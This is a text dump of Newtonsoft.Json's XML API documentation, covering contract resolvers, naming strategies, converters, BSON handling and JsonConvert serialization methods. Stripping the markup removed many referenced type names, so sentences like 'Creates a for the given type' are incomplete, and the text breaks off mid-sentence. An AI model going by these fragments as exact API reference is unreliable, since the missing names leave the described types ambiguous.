Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. true if the attribute will be ignored when serializing and deserializing types; otherwise, false. Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. The naming strategy used to resolve how property names and dictionary keys are serialized. Initializes a new instance of the class. Resolves the contract for a given type. The type to resolve a contract for. The contract for a given type. Gets the serializable members for the type. The type to get serializable members for. The serializable members for the type. Creates a for the given type. Type of the object. A for the given type. Creates the constructor parameters. The constructor to create properties for. The type's member properties. Properties for the given . Creates a for the given . The matching member property. The constructor parameter. A created for the given . Resolves the default for the contract. Type of the object. The contract's default . Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Determines which contract type is created for the given type. Type of the object. A for the given type. Creates properties for the given . The type to create properties for. /// The member serialization mode for the type. Properties for the given . Creates the used by the serializer to get and set values from a member. The member. The used by the serializer to get and set values from a member. Creates a for the given . The member's parent . The member to create a for. A created for the given . Resolves the name of the property. Name of the property. Resolved name of the property. Resolves the name of the extension data. By default no changes are made to extension data names. Name of the extension data. Resolved name of the extension data. Resolves the key of the dictionary. By default is used to resolve dictionary keys. Key of the dictionary. Resolved key of the dictionary. Gets the resolved name of the property. Name of the property. Name of the property. The default naming strategy. Property names and dictionary keys are unchanged. Resolves the specified property name. The property name to resolve. The resolved property name. The default serialization binder used when resolving and loading classes from type names. Initializes a new instance of the class. When overridden in a derived class, controls the binding of a serialized object to a type. Specifies the name of the serialized object. Specifies the name of the serialized object. The type of the object the formatter creates a new instance of. When overridden in a derived class, controls the binding of a serialized object to a type. The type of the object the formatter creates a new instance of. Specifies the name of the serialized object. Specifies the name of the serialized object. Represents a trace writer that writes to the application's instances. Gets the that will be used to filter the trace messages passed to the writer. For example a filter level of will exclude messages and include , and messages. The that will be used to filter the trace messages passed to the writer. Writes the specified trace level, message and optional exception. The at which to write this trace. The trace message. The trace exception. This parameter is optional. Get and set values for a using dynamic methods. Initializes a new instance of the class. The member info. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. Provides information surrounding an error. Gets the error. The error. Gets the original object that caused the error. The original object that caused the error. Gets the member that caused the error. The member that caused the error. Gets the path of the JSON location where the error occurred. The path of the JSON location where the error occurred. Gets or sets a value indicating whether this is handled. true if handled; otherwise, false. Provides data for the Error event. Gets the current object the error event is being raised against. The current object the error event is being raised against. Gets the error context. The error context. Initializes a new instance of the class. The current object. The error context. Provides methods to get attributes. Returns a collection of all of the attributes, or an empty collection if there are no attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. The type of the attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Used by to resolve a for a given . Resolves the contract for a given type. The type to resolve a contract for. The contract for a given type. Used to resolve references when serializing and deserializing JSON by the . Resolves a reference to its object. The serialization context. The reference to resolve. The object that was resolved from the reference. Gets the reference for the specified object. The serialization context. The object to get a reference for. The reference to the object. Determines whether the specified object is referenced. The serialization context. The object to test for a reference. true if the specified object is referenced; otherwise, false. Adds a reference to the specified object. The serialization context. The reference. The object to reference. Allows users to control class loading and mandate what class to load. When implemented, controls the binding of a serialized object to a type. Specifies the name of the serialized object. Specifies the name of the serialized object The type of the object the formatter creates a new instance of. When implemented, controls the binding of a serialized object to a type. The type of the object the formatter creates a new instance of. Specifies the name of the serialized object. Specifies the name of the serialized object. Represents a trace writer. Gets the that will be used to filter the trace messages passed to the writer. For example a filter level of will exclude messages and include , and messages. The that will be used to filter the trace messages passed to the writer. Writes the specified trace level, message and optional exception. The at which to write this trace. The trace message. The trace exception. This parameter is optional. Provides methods to get and set values. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. Contract details for a used by the . Gets the of the collection items. The of the collection items. Gets a value indicating whether the collection type is a multidimensional array. true if the collection type is a multidimensional array; otherwise, false. Gets or sets the function used to create the object. When set this function will override . The function used to create the object. Gets a value indicating whether the creator has a parameter with the collection values. true if the creator has a parameter with the collection values; otherwise, false. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets or sets the default collection items . The converter. Gets or sets a value indicating whether the collection items preserve object references. true if collection items preserve object references; otherwise, false. Gets or sets the collection item reference loop handling. The reference loop handling. Gets or sets the collection item type name handling. The type name handling. Initializes a new instance of the class. The underlying type for the contract. Handles serialization callback events. The object that raised the callback event. The streaming context. Handles serialization error callback events. The object that raised the callback event. The streaming context. The error context. Sets extension data for an object during deserialization. The object to set extension data on. The extension data key. The extension data value. Gets extension data for an object during serialization. The object to set extension data on. Contract details for a used by the . Gets the underlying type for the contract. The underlying type for the contract. Gets or sets the type created during deserialization. The type created during deserialization. Gets or sets whether this type contract is serialized as a reference. Whether this type contract is serialized as a reference. Gets or sets the default for this contract. The converter. Gets the internally resolved for the contract's type. This converter is used as a fallback converter when no other converter is resolved. Setting will always override this converter. Gets or sets all methods called immediately after deserialization of the object. The methods called immediately after deserialization of the object. Gets or sets all methods called during deserialization of the object. The methods called during deserialization of the object. Gets or sets all methods called after serialization of the object graph. The methods called after serialization of the object graph. Gets or sets all methods called before serialization of the object. The methods called before serialization of the object. Gets or sets all method called when an error is thrown during the serialization of the object. The methods called when an error is thrown during the serialization of the object. Gets or sets the default creator method used to create the object. The default creator method used to create the object. Gets or sets a value indicating whether the default creator is non-public. true if the default object creator is non-public; otherwise, false. Contract details for a used by the . Gets or sets the dictionary key resolver. The dictionary key resolver. Gets the of the dictionary keys. The of the dictionary keys. Gets the of the dictionary values. The of the dictionary values. Gets or sets the function used to create the object. When set this function will override . The function used to create the object. Gets a value indicating whether the creator has a parameter with the dictionary values. true if the creator has a parameter with the dictionary values; otherwise, false. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets or sets the object constructor. The object constructor. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets or sets the object member serialization. The member object serialization. Gets or sets the missing member handling used when deserializing this object. The missing member handling. Gets or sets a value that indicates whether the object's properties are required. A value indicating whether the object's properties are required. Gets or sets how the object's properties with null values are handled during serialization and deserialization. How the object's properties with null values are handled during serialization and deserialization. Gets the object's properties. The object's properties. Gets a collection of instances that define the parameters used with . Gets or sets the function used to create the object. When set this function will override . This function is called with a collection of arguments which are defined by the collection. The function used to create the object. Gets or sets the extension data setter. Gets or sets the extension data getter. Gets or sets the extension data value type. Gets or sets the extension data name resolver. The extension data name resolver. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Initializes a new instance of the class. The underlying type for the contract. Maps a JSON property to a .NET member or constructor parameter. Gets or sets the name of the property. The name of the property. Gets or sets the type that declared this property. The type that declared this property. Gets or sets the order of serialization of a member. The numeric order of serialization. Gets or sets the name of the underlying member or parameter. The name of the underlying member or parameter. Gets the that will get and set the during serialization. The that will get and set the during serialization. Gets or sets the for this property. The for this property. Gets or sets the type of the property. The type of the property. Gets or sets the for the property. If set this converter takes precedence over the contract converter for the property type. The converter. Gets or sets the member converter. The member converter. Gets or sets a value indicating whether this is ignored. true if ignored; otherwise, false. Gets or sets a value indicating whether this is readable. true if readable; otherwise, false. Gets or sets a value indicating whether this is writable. true if writable; otherwise, false. Gets or sets a value indicating whether this has a member attribute. true if has a member attribute; otherwise, false. Gets the default value. The default value. Gets or sets a value indicating whether this is required. A value indicating whether this is required. Gets a value indicating whether has a value specified. Gets or sets a value indicating whether this property preserves object references. true if this instance is reference; otherwise, false. Gets or sets the property null value handling. The null value handling. Gets or sets the property default value handling. The default value handling. Gets or sets the property reference loop handling. The reference loop handling. Gets or sets the property object creation handling. The object creation handling. Gets or sets or sets the type name handling. The type name handling. Gets or sets a predicate used to determine whether the property should be serialized. A predicate used to determine whether the property should be serialized. Gets or sets a predicate used to determine whether the property should be deserialized. A predicate used to determine whether the property should be deserialized. Gets or sets a predicate used to determine whether the property should be serialized. A predicate used to determine whether the property should be serialized. Gets or sets an action used to set whether the property has been deserialized. An action used to set whether the property has been deserialized. Returns a that represents this instance. A that represents this instance. Gets or sets the converter used when serializing the property's collection items. The collection's items converter. Gets or sets whether this property's collection items are serialized as a reference. Whether this property's collection items are serialized as a reference. Gets or sets the type name handling used when serializing the property's collection items. The collection's items type name handling. Gets or sets the reference loop handling used when serializing the property's collection items. The collection's items reference loop handling. A collection of objects. Initializes a new instance of the class. The type. When implemented in a derived class, extracts the key from the specified element. The element from which to extract the key. The key for the specified element. Adds a object. The property to add to the collection. Gets the closest matching object. First attempts to get an exact case match of and then a case insensitive match. Name of the property. A matching property if found. Gets a property by property name. The name of the property to get. Type property name string comparison. A matching property if found. Contract details for a used by the . Initializes a new instance of the class. The underlying type for the contract. Lookup and create an instance of the type described by the argument. The type to create. Optional arguments to pass to an initializing constructor of the JsonConverter. If null, the default constructor is used. A kebab case naming strategy. Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . A flag indicating whether extension data names should be processed. Initializes a new instance of the class. Resolves the specified property name. The property name to resolve. The resolved property name. Represents a trace writer that writes to memory. When the trace message limit is reached then old trace messages will be removed as new messages are added. Gets the that will be used to filter the trace messages passed to the writer. For example a filter level of will exclude messages and include , and messages. The that will be used to filter the trace messages passed to the writer. Initializes a new instance of the class. Writes the specified trace level, message and optional exception. The at which to write this trace. The trace message. The trace exception. This parameter is optional. Returns an enumeration of the most recent trace messages. An enumeration of the most recent trace messages. Returns a of the most recent trace messages. A of the most recent trace messages. A base class for resolving how property names and dictionary keys are serialized. A flag indicating whether dictionary keys should be processed. Defaults to false. A flag indicating whether extension data names should be processed. Defaults to false. A flag indicating whether explicitly specified property names, e.g. a property name customized with a , should be processed. Defaults to false. Gets the serialized name for a given property name. The initial property name. A flag indicating whether the property has had a name explicitly specified. The serialized property name. Gets the serialized name for a given extension data name. The initial extension data name. The serialized extension data name. Gets the serialized key for a given dictionary key. The initial dictionary key. The serialized dictionary key. Resolves the specified property name. The property name to resolve. The resolved property name. Hash code calculation Object equality implementation Compare to another NamingStrategy Represents a method that constructs an object. The object type to create. When applied to a method, specifies that the method is called when an error occurs serializing an object. Provides methods to get attributes from a , , or . Initializes a new instance of the class. The instance to get attributes for. This parameter should be a , , or . Returns a collection of all of the attributes, or an empty collection if there are no attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. The type of the attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Get and set values for a using reflection. Initializes a new instance of the class. The member info. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. A snake case naming strategy. Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . A flag indicating whether extension data names should be processed. Initializes a new instance of the class. Resolves the specified property name. The property name to resolve. The resolved property name. Specifies how strings are escaped when writing JSON text. Only control characters (e.g. newline) are escaped. All non-ASCII and control characters (e.g. newline) are escaped. HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. Indicates the method that will be used during deserialization for locating and loading assemblies. In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. Specifies type name handling options for the . should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom when deserializing with a value other than . Do not include the .NET type name when serializing types. Include the .NET type name when serializing into a JSON object structure. Include the .NET type name when serializing into a JSON array structure. Always include the .NET type name when serializing. Include the .NET type name when the type of the object being serialized is not the same as its declared type. Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON you must specify a root type object with or . Determines whether the collection is null or empty. The collection. true if the collection is null or empty; otherwise, false. Adds the elements of the specified collection to the specified generic . The list to add to. The collection of elements to add. Converts the value to the specified type. If the value is unable to be converted, the value is checked whether it assignable to the specified type. The value to convert. The culture to use when converting. The type to convert or cast the value to. The converted type. If conversion was unsuccessful, the initial value is returned if assignable to the target type. Helper class for serializing immutable collections. Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed https://github.com/JamesNK/Newtonsoft.Json/issues/652 Gets the type of the typed collection's items. The type. The type of the typed collection's items. Gets the member's underlying type. The member. The underlying type of the member. Determines whether the property is an indexed property. The property. true if the property is an indexed property; otherwise, false. Gets the member's value on the object. The member. The target object. The member's value on the object. Sets the member's value on the target object. The member. The target. The value. Determines whether the specified MemberInfo can be read. The MemberInfo to determine whether can be read. /// if set to true then allow the member to be gotten non-publicly. true if the specified MemberInfo can be read; otherwise, false. Determines whether the specified MemberInfo can be set. The MemberInfo to determine whether can be set. if set to true then allow the member to be set non-publicly. if set to true then allow the member to be set if read-only. true if the specified MemberInfo can be set; otherwise, false. Builds a string. Unlike this class lets you reuse its internal buffer. Determines whether the string is all white space. Empty string will return false. The string to test whether it is all white space. true if the string is all white space; otherwise, false. Specifies the state of the . An exception has been thrown, which has left the in an invalid state. You may call the method to put the in the Closed state. Any other method calls result in an being thrown. The method has been called. An object is being written. An array is being written. A constructor is being written. A property is being written. A write method has not been called. Specifies that an output will not be null even if the corresponding type allows it. Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. Initializes the attribute with the specified return value condition. The return value condition. If the method returns this value, the associated parameter will not be null. Gets the return value condition. Specifies that an output may be null even if the corresponding type disallows it. Specifies that null is allowed as an input even if the corresponding type disallows it. Specifies that the method will not return if the associated Boolean parameter is passed the specified value. Initializes a new instance of the class. The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to the associated parameter matches this value. Gets the condition parameter value. ================================================ FILE: Remote Access Tool/packages/Newtonsoft.Json.13.0.1/lib/net40/Newtonsoft.Json.xml ================================================ Newtonsoft.Json Represents a BSON Oid (object id). Gets or sets the value of the Oid. The value of the Oid. Initializes a new instance of the class. The Oid value. Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. Gets or sets a value indicating whether the root object will be read as a JSON array. true if the root object will be read as a JSON array; otherwise, false. Gets or sets the used when reading values from BSON. The used when reading values from BSON. Initializes a new instance of the class. The containing the BSON data to read. Initializes a new instance of the class. The containing the BSON data to read. Initializes a new instance of the class. The containing the BSON data to read. if set to true the root object will be read as a JSON array. The used when reading values from BSON. Initializes a new instance of the class. The containing the BSON data to read. if set to true the root object will be read as a JSON array. The used when reading values from BSON. Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Changes the reader's state to . If is set to true, the underlying is also closed. Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. Gets or sets the used when writing values to BSON. When set to no conversion will occur. The used when writing values to BSON. Initializes a new instance of the class. The to write to. Initializes a new instance of the class. The to write to. Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. Writes the end. The token. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes the start of a constructor with the given name. The name of the constructor. Writes raw JSON. The raw JSON to write. Writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. Writes the beginning of a JSON array. Writes the beginning of a JSON object. Writes the property name of a name/value pair on a JSON object. The name of the property. Closes this writer. If is set to true, the underlying is also closed. If is set to true, the JSON is auto-completed. Writes a value. An error will raised if the value cannot be written as a single JSON token. The value to write. Writes a null value. Writes an undefined value. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value that represents a BSON object id. The Object ID value to write. Writes a BSON regex. The regex pattern. The regex options. Specifies how constructors are used when initializing objects during deserialization by the . First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. Json.NET will use a non-public default constructor before falling back to a parameterized constructor. Converts a binary value to and from a base 64 string value. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from JSON and BSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Creates a custom object. The object type to convert. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Creates an object which will then be populated by the serializer. Type of the object. The created object. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Gets a value indicating whether this can write JSON. true if this can write JSON; otherwise, false. Converts a to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified value type. Type of the value. true if this instance can convert the specified value type; otherwise, false. Converts a to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified value type. Type of the value. true if this instance can convert the specified value type; otherwise, false. Provides a base class for converting a to and from JSON. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a F# discriminated union type to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts an Entity Framework to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts an to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Gets a value indicating whether this can write JSON. true if this can write JSON; otherwise, false. Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). Gets or sets the date time styles used when converting a date to and from JSON. The date time styles used when converting a date to and from JSON. Gets or sets the date time format used when converting a date to and from JSON. The date time format used when converting a date to and from JSON. Gets or sets the culture used when converting a date to and from JSON. The culture used when converting a date to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing property value of the JSON that is being converted. The calling serializer. The object value. Converts a to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from JSON and BSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts an to and from its name string value. Gets or sets a value indicating whether the written enum text should be camel case. The default value is false. true if the written enum text will be camel case; otherwise, false. Gets or sets the naming strategy used to resolve how enum text is written. The naming strategy used to resolve how enum text is written. Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. The default value is true. true if integers are allowed when serializing and deserializing; otherwise, false. Initializes a new instance of the class. Initializes a new instance of the class. true if the written enum text will be camel case; otherwise, false. Initializes a new instance of the class. The naming strategy used to resolve how enum text is written. true if integers are allowed when serializing and deserializing; otherwise, false. Initializes a new instance of the class. The of the used to write enum text. Initializes a new instance of the class. The of the used to write enum text. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. Initializes a new instance of the class. The of the used to write enum text. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. true if integers are allowed when serializing and deserializing; otherwise, false. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from Unix epoch time Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing property value of the JSON that is being converted. The calling serializer. The object value. Converts a to and from a string (e.g. "1.2.3.4"). Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing property value of the JSON that is being converted. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts XML to and from JSON. Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. The name of the deserialized root element. Gets or sets a value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. true if the array attribute is written to the XML; otherwise, false. Gets or sets a value indicating whether to write the root JSON object. true if the JSON root object is omitted; otherwise, false. Gets or sets a value indicating whether to encode special characters when converting JSON to XML. If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify XML namespaces, attributes or processing directives. Instead special characters are encoded and written as part of the XML element name. true if special characters are encoded; otherwise, false. Writes the JSON representation of the object. The to write to. The calling serializer. The value. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Checks if the is a namespace attribute. Attribute name to test. The attribute name prefix if it has one, otherwise an empty string. true if attribute name is for a namespace attribute, otherwise false. Determines whether this instance can convert the specified value type. Type of the value. true if this instance can convert the specified value type; otherwise, false. Specifies how dates are formatted when writing JSON text. Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. Date formatted strings are not parsed to a date type and are read as strings. Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . Specifies how to treat the time value when converting between string and . Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. Treat as a UTC. If the object represents a local time, it is converted to a UTC. Treat as a local time if a is being converted to a string. If a string is being converted to , convert to a local time if a time zone is specified. Time zone information should be preserved when converting. The default JSON name table implementation. Initializes a new instance of the class. Gets a string containing the same characters as the specified range of characters in the given array. The character array containing the name to find. The zero-based index into the array specifying the first character of the name. The number of characters in the name. A string containing the same characters as the specified range of characters in the given array. Adds the specified string into name table. The string to add. This method is not thread-safe. The resolved string. Specifies default value handling options for the . Include members where the member value is the same as the member's default value when serializing objects. Included members are written to JSON. Has no effect when deserializing. Ignore members where the member value is the same as the member's default value when serializing objects so that it is not written to JSON. This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, decimals and floating point numbers; and false for booleans). The default value ignored can be changed by placing the on the property. Members with a default value but no JSON will be set to their default value when deserializing. Ignore members where the member value is the same as the member's default value when serializing objects and set members to their default value when deserializing. Specifies float format handling options when writing special floating point numbers, e.g. , and with . Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. Note that this will produce non-valid JSON. Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. Floating point numbers are parsed to . Floating point numbers are parsed to . Specifies formatting options for the . No special formatting is applied. This is the default. Causes child objects to be indented according to the and settings. Provides an interface for using pooled arrays. The array type content. Rent an array from the pool. This array must be returned when it is no longer needed. The minimum required length of the array. The returned array may be longer. The rented array from the pool. This array must be returned when it is no longer needed. Return an array to the pool. The array that is being returned. Provides an interface to enable a class to return line and position information. Gets a value indicating whether the class can return line information. true if and can be provided; otherwise, false. Gets the current line number. The current line number or 0 if no line information is available (for example, when returns false). Gets the current line position. The current line position or 0 if no line information is available (for example, when returns false). Instructs the how to serialize the collection. Gets or sets a value indicating whether null items are allowed in the collection. true if null items are allowed in the collection; otherwise, false. Initializes a new instance of the class. Initializes a new instance of the class with a flag indicating whether the array can contain null items. A flag indicating whether the array can contain null items. Initializes a new instance of the class with the specified container Id. The container Id. Instructs the to use the specified constructor when deserializing that object. Instructs the how to serialize the object. Gets or sets the id. The id. Gets or sets the title. The title. Gets or sets the description. The description. Gets or sets the collection's items converter. The collection's items converter. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] Gets or sets the of the . The of the . The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] Gets or sets a value that indicates whether to preserve object references. true to keep object reference; otherwise, false. The default is false. Gets or sets a value that indicates whether to preserve collection's items references. true to keep collection's items object references; otherwise, false. The default is false. Gets or sets the reference loop handling used when serializing the collection's items. The reference loop handling. Gets or sets the type name handling used when serializing the collection's items. The type name handling. Initializes a new instance of the class. Initializes a new instance of the class with the specified container Id. The container Id. Provides methods for converting between .NET types and JSON types. Gets or sets a function that creates default . Default settings are automatically used by serialization methods on , and and on . To serialize without using any default settings create a with . Represents JavaScript's boolean value true as a string. This field is read-only. Represents JavaScript's boolean value false as a string. This field is read-only. Represents JavaScript's null as a string. This field is read-only. Represents JavaScript's undefined as a string. This field is read-only. Represents JavaScript's positive infinity as a string. This field is read-only. Represents JavaScript's negative infinity as a string. This field is read-only. Represents JavaScript's NaN as a string. This field is read-only. Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation using the specified. The value to convert. The format the date will be converted to. The time zone handling when the date is converted to a string. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation using the specified. The value to convert. The format the date will be converted to. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. The string delimiter character. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. The string delimiter character. The string escape handling. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Serializes the specified object to a JSON string. The object to serialize. A JSON string representation of the object. Serializes the specified object to a JSON string using formatting. The object to serialize. Indicates how the output should be formatted. A JSON string representation of the object. Serializes the specified object to a JSON string using a collection of . The object to serialize. A collection of converters used while serializing. A JSON string representation of the object. Serializes the specified object to a JSON string using formatting and a collection of . The object to serialize. Indicates how the output should be formatted. A collection of converters used while serializing. A JSON string representation of the object. Serializes the specified object to a JSON string using . The object to serialize. The used to serialize the object. If this is null, default serialization settings will be used. A JSON string representation of the object. Serializes the specified object to a JSON string using a type, formatting and . The object to serialize. The used to serialize the object. If this is null, default serialization settings will be used. The type of the value being serialized. This parameter is used when is to write out the type name if the type of the value does not match. Specifying the type is optional. A JSON string representation of the object. Serializes the specified object to a JSON string using formatting and . The object to serialize. Indicates how the output should be formatted. The used to serialize the object. If this is null, default serialization settings will be used. A 